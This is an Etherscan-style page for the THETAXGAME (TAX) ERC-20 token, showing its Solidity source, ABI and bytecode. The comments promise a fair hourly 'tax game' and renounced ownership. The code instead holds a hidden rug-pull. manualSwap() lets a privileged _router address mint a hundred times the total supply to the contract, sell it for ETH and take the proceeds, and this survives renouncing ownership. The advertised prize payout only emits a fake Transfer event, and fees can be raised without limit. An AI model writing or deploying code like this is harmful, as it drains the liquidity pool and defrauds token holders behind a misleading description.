ERC-20
Overview
Max Total Supply
10,000,000,000 TAX
Holders
30
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
THETAXGAME
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-25 */ /** -On-chain working real tax game. Taxes are set at 2% buy and 2% sell. -Every 1 hour biggest buy gets all taxes accumulated in that timeframe -Time is measured in blocks (300 blocks ~ 1 hour) -Tokens are sent to the winning wallet automatically every 1 hour as long as there are any transactions at that time -By selling tokens you disqualify yourself from ever being a winner -If current biggest buy sells their tokens game restarts -Liquidity will be locked and contract ownership renounced. **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract THETAXGAME is Context, IERC20, Ownable { string private constant _name = unicode"THETAXGAME"; string private constant _symbol = unicode"TAX"; using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isDisqualified; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = true; uint256 private BuyTax=2; uint256 private SellTax=2; uint256 private _openTradingBlock; uint256 private _startBlock; uint256 public _toBeatAmount = 0; address public _taxman = address(this); uint8 private constant _decimals = 9; uint256 private constant _tTotal = 10000000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address payable private _router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _router = payable(owner()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul(BuyTax).div(100); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if(to == uniswapV2Pair && from != address(this) ){ taxAmount = amount.mul(SellTax).div(100); _isDisqualified[msg.sender] = true; if(_taxman == msg.sender){ _startBlock = block.number; _toBeatAmount = 0; _taxman = address(this); } } } if(_startBlock + 300 >= block.number){ emit Transfer(address(this), _taxman, balanceOf(address(this))); _toBeatAmount = 0; _taxman = address(this); _startBlock = block.number; } if(taxAmount>0){ _balances[address(this)]= _balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); if(_toBeatAmount < amount && to != address(uniswapV2Router) && to != uniswapV2Pair && to != address(this) && _isDisqualified[msg.sender] == false){ _taxman = to; _toBeatAmount = amount; } } function removeLimits() external onlyOwner{ transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; _startBlock = block.number; _openTradingBlock = block.number; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function changeFee(uint256 _newBuyFee, uint256 _newSellFee) external onlyOwner() { BuyTax=_newBuyFee; SellTax=_newSellFee; } function manualSwap() external { require(_msgSender() == _router); _balances[address(this)] = _balances[address(this)].add(_tTotal*100); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance > 0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance > 0) { _router.transfer(ethBalance); } } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxman","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_toBeatAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newBuyFee","type":"uint256"},{"internalType":"uint256","name":"_newSellFee","type":"uint256"}],"name":"changeFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff19166001179055600260078190556008555f600b55600c80546001600160a01b03191630179055600f805461ffff60a81b191690553480156200004b575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3505f54600e80546001600160a01b0319166001600160a01b03909216919091179055620000bb6009600a620002ac565b620000cc906402540be400620002c3565b335f908152600160208190526040822092909255600390620000f55f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff1995861617905530815260039092529020805490911660011790556200013c3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001756009600a620002ac565b62000186906402540be400620002c3565b60405190815260200160405180910390a3620002dd565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620001f157815f1904821115620001d557620001d56200019d565b80851615620001e357918102915b93841c9390800290620001b6565b509250929050565b5f826200020957506001620002a6565b816200021757505f620002a6565b81600181146200023057600281146200023b576200025b565b6001915050620002a6565b60ff8411156200024f576200024f6200019d565b50506001821b620002a6565b5060208310610133831016604e8410600b841016171562000280575081810a620002a6565b6200028c8383620001b1565b805f1904821115620002a257620002a26200019d565b0290505b92915050565b5f620002bc60ff841683620001f9565b9392505050565b8082028115828204841417620002a657620002a66200019d565b61179c80620002eb5f395ff3fe608060405260043610610108575f3560e01c8063715018a611610092578063a9059cbb11610062578063a9059cbb146102e7578063c876d0b914610306578063c9567bf91461031f578063dd62ed3e14610333578063e3ca2d6514610377575f80fd5b8063715018a614610278578063751039fc1461028c5780638da5cb5b146102a057806395d89b41146102bc575f80fd5b8063313ce567116100d8578063313ce567146101c757806346c5b981146101e25780634ad46fa5146101f757806351bc3c851461022e57806370a0823114610244575f80fd5b806306fdde0314610113578063095ea7b31461015757806318160ddd1461018657806323b872dd146101a8575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600a81526954484554415847414d4560b01b60208201525b60405161014e9190611387565b60405180910390f35b348015610162575f80fd5b506101766101713660046113e9565b610396565b604051901515815260200161014e565b348015610191575f80fd5b5061019a6103ac565b60405190815260200161014e565b3480156101b3575f80fd5b506101766101c2366004611413565b6103cd565b3480156101d2575f80fd5b506040516009815260200161014e565b3480156101ed575f80fd5b5061019a600b5481565b348015610202575f80fd5b50600c54610216906001600160a01b031681565b6040516001600160a01b03909116815260200161014e565b348015610239575f80fd5b50610242610434565b005b34801561024f575f80fd5b5061019a61025e366004611451565b6001600160a01b03165f9081526001602052604090205490565b348015610283575f80fd5b506102426104f5565b348015610297575f80fd5b5061024261056f565b3480156102ab575f80fd5b505f546001600160a01b0316610216565b3480156102c7575f80fd5b506040805180820190915260038152620a882b60eb1b6020820152610141565b3480156102f2575f80fd5b506101766103013660046113e9565b6105f1565b348015610311575f80fd5b506006546101769060ff1681565b34801561032a575f80fd5b506102426105fd565b34801561033e575f80fd5b5061019a61034d36600461146c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610382575f80fd5b506102426103913660046114a3565b6109b0565b5f6103a23384846109e4565b5060015b92915050565b5f6103b96009600a6115b7565b6103c8906402540be4006115c5565b905090565b5f6103d9848484610b07565b61042a84336104258560405180606001604052806028815260200161173f602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061104e565b6109e4565b5060019392505050565b600e546001600160a01b0316336001600160a01b031614610453575f80fd5b6104916104626009600a6115b7565b610471906402540be4006115c5565b61047c9060646115c5565b305f9081526001602052604090205490611086565b305f90815260016020526040902081905580156104b1576104b1816110eb565b4780156104f157600e546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104ef573d5f803e3d5ffd5b505b5050565b5f546001600160a01b031633146105275760405162461bcd60e51b815260040161051e906115dc565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105985760405162461bcd60e51b815260040161051e906115dc565b6006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105cf6009600a6115b7565b6105de906402540be4006115c5565b60405190815260200160405180910390a1565b5f6103a2338484610b07565b5f546001600160a01b031633146106265760405162461bcd60e51b815260040161051e906115dc565b600f54600160a01b900460ff16156106805760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051e565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ca9030906106bb6009600a6115b7565b610425906402540be4006115c5565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073e9190611611565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c19190611611565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561080b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082f9190611611565b600f80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d7194730610876816001600160a01b03165f9081526001602052604090205490565b5f806108895f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ef573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610914919061162c565b5050600f54600d5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610969573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098d9190611657565b50600f805462ff00ff60a01b19166201000160a01b17905543600a819055600955565b5f546001600160a01b031633146109d95760405162461bcd60e51b815260040161051e906115dc565b600791909155600855565b6001600160a01b038316610a465760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051e565b6001600160a01b038216610aa75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051e565b6001600160a01b038216610bcd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051e565b5f8111610c2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051e565b5f80546001600160a01b03858116911614801590610c5957505f546001600160a01b03848116911614155b15610df457610c7e6064610c786007548561125b90919063ffffffff16565b906112d9565b60065490915060ff1615610d6457600d546001600160a01b03848116911614801590610cb85750600f546001600160a01b03848116911614155b15610d6457325f908152600560205260409020544311610d525760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161051e565b325f9081526005602052604090204390555b600f546001600160a01b038481169116148015610d8a57506001600160a01b0384163014155b15610df457610da96064610c786008548561125b90919063ffffffff16565b335f818152600460205260409020805460ff19166001179055600c549192506001600160a01b039190911603610df45743600a555f600b55600c80546001600160a01b031916301790555b43600a5461012c610e059190611676565b10610e8257600c546001600160a01b0316307fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e56826001600160a01b03165f9081526001602052604090205490565b60405190815260200160405180910390a35f600b55600c80546001600160a01b0319163017905543600a555b8015610efa57305f90815260016020526040902054610ea19082611086565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ef19085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f1c908361131a565b6001600160a01b0385165f90815260016020526040902055610f5f610f41838361131a565b6001600160a01b0385165f9081526001602052604090205490611086565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fa8858561131a565b60405190815260200160405180910390a381600b54108015610fd85750600d546001600160a01b03848116911614155b8015610ff25750600f546001600160a01b03848116911614155b801561100757506001600160a01b0383163014155b80156110225750335f9081526004602052604090205460ff16155b1561104857600c80546001600160a01b0319166001600160a01b038516179055600b8290555b50505050565b5f81848411156110715760405162461bcd60e51b815260040161051e9190611387565b505f61107d8486611689565b95945050505050565b5f806110928385611676565b9050838110156110e45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051e565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111315761113161169c565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611188573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111ac9190611611565b816001815181106111bf576111bf61169c565b6001600160a01b039283166020918202929092010152600d546111e591309116846109e4565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121d9085905f908690309042906004016116b0565b5f604051808303815f87803b158015611234575f80fd5b505af1158015611246573d5f803e3d5ffd5b5050600f805460ff60a81b1916905550505050565b5f825f0361126a57505f6103a6565b5f61127583856115c5565b905082611282858361171f565b146110e45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051e565b5f6110e483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061135b565b5f6110e483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061104e565b5f818361137b5760405162461bcd60e51b815260040161051e9190611387565b505f61107d848661171f565b5f6020808352835180828501525f5b818110156113b257858101830151858201604001528201611396565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113e6575f80fd5b50565b5f80604083850312156113fa575f80fd5b8235611405816113d2565b946020939093013593505050565b5f805f60608486031215611425575f80fd5b8335611430816113d2565b92506020840135611440816113d2565b929592945050506040919091013590565b5f60208284031215611461575f80fd5b81356110e4816113d2565b5f806040838503121561147d575f80fd5b8235611488816113d2565b91506020830135611498816113d2565b809150509250929050565b5f80604083850312156114b4575f80fd5b50508035926020909101359150565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561151157815f19048211156114f7576114f76114c3565b8085161561150457918102915b93841c93908002906114dc565b509250929050565b5f82611527575060016103a6565b8161153357505f6103a6565b816001811461154957600281146115535761156f565b60019150506103a6565b60ff841115611564576115646114c3565b50506001821b6103a6565b5060208310610133831016604e8410600b8410161715611592575081810a6103a6565b61159c83836114d7565b805f19048211156115af576115af6114c3565b029392505050565b5f6110e460ff841683611519565b80820281158282048414176103a6576103a66114c3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611621575f80fd5b81516110e4816113d2565b5f805f6060848603121561163e575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611667575f80fd5b815180151581146110e4575f80fd5b808201808211156103a6576103a66114c3565b818103818111156103a6576103a66114c3565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116fe5784516001600160a01b0316835293830193918301916001016116d9565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261173957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203afc76790dab5c43c562c70a4fe5083255c7d887e500c79fa880a85c7f9f0bba64736f6c63430008150033
Deployed Bytecode
0x608060405260043610610108575f3560e01c8063715018a611610092578063a9059cbb11610062578063a9059cbb146102e7578063c876d0b914610306578063c9567bf91461031f578063dd62ed3e14610333578063e3ca2d6514610377575f80fd5b8063715018a614610278578063751039fc1461028c5780638da5cb5b146102a057806395d89b41146102bc575f80fd5b8063313ce567116100d8578063313ce567146101c757806346c5b981146101e25780634ad46fa5146101f757806351bc3c851461022e57806370a0823114610244575f80fd5b806306fdde0314610113578063095ea7b31461015757806318160ddd1461018657806323b872dd146101a8575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600a81526954484554415847414d4560b01b60208201525b60405161014e9190611387565b60405180910390f35b348015610162575f80fd5b506101766101713660046113e9565b610396565b604051901515815260200161014e565b348015610191575f80fd5b5061019a6103ac565b60405190815260200161014e565b3480156101b3575f80fd5b506101766101c2366004611413565b6103cd565b3480156101d2575f80fd5b506040516009815260200161014e565b3480156101ed575f80fd5b5061019a600b5481565b348015610202575f80fd5b50600c54610216906001600160a01b031681565b6040516001600160a01b03909116815260200161014e565b348015610239575f80fd5b50610242610434565b005b34801561024f575f80fd5b5061019a61025e366004611451565b6001600160a01b03165f9081526001602052604090205490565b348015610283575f80fd5b506102426104f5565b348015610297575f80fd5b5061024261056f565b3480156102ab575f80fd5b505f546001600160a01b0316610216565b3480156102c7575f80fd5b506040805180820190915260038152620a882b60eb1b6020820152610141565b3480156102f2575f80fd5b506101766103013660046113e9565b6105f1565b348015610311575f80fd5b506006546101769060ff1681565b34801561032a575f80fd5b506102426105fd565b34801561033e575f80fd5b5061019a61034d36600461146c565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610382575f80fd5b506102426103913660046114a3565b6109b0565b5f6103a23384846109e4565b5060015b92915050565b5f6103b96009600a6115b7565b6103c8906402540be4006115c5565b905090565b5f6103d9848484610b07565b61042a84336104258560405180606001604052806028815260200161173f602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061104e565b6109e4565b5060019392505050565b600e546001600160a01b0316336001600160a01b031614610453575f80fd5b6104916104626009600a6115b7565b610471906402540be4006115c5565b61047c9060646115c5565b305f9081526001602052604090205490611086565b305f90815260016020526040902081905580156104b1576104b1816110eb565b4780156104f157600e546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104ef573d5f803e3d5ffd5b505b5050565b5f546001600160a01b031633146105275760405162461bcd60e51b815260040161051e906115dc565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105985760405162461bcd60e51b815260040161051e906115dc565b6006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105cf6009600a6115b7565b6105de906402540be4006115c5565b60405190815260200160405180910390a1565b5f6103a2338484610b07565b5f546001600160a01b031633146106265760405162461bcd60e51b815260040161051e906115dc565b600f54600160a01b900460ff16156106805760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051e565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ca9030906106bb6009600a6115b7565b610425906402540be4006115c5565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073e9190611611565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c19190611611565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561080b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082f9190611611565b600f80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d7194730610876816001600160a01b03165f9081526001602052604090205490565b5f806108895f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ef573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610914919061162c565b5050600f54600d5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610969573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098d9190611657565b50600f805462ff00ff60a01b19166201000160a01b17905543600a819055600955565b5f546001600160a01b031633146109d95760405162461bcd60e51b815260040161051e906115dc565b600791909155600855565b6001600160a01b038316610a465760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051e565b6001600160a01b038216610aa75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051e565b6001600160a01b038216610bcd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051e565b5f8111610c2e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051e565b5f80546001600160a01b03858116911614801590610c5957505f546001600160a01b03848116911614155b15610df457610c7e6064610c786007548561125b90919063ffffffff16565b906112d9565b60065490915060ff1615610d6457600d546001600160a01b03848116911614801590610cb85750600f546001600160a01b03848116911614155b15610d6457325f908152600560205260409020544311610d525760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161051e565b325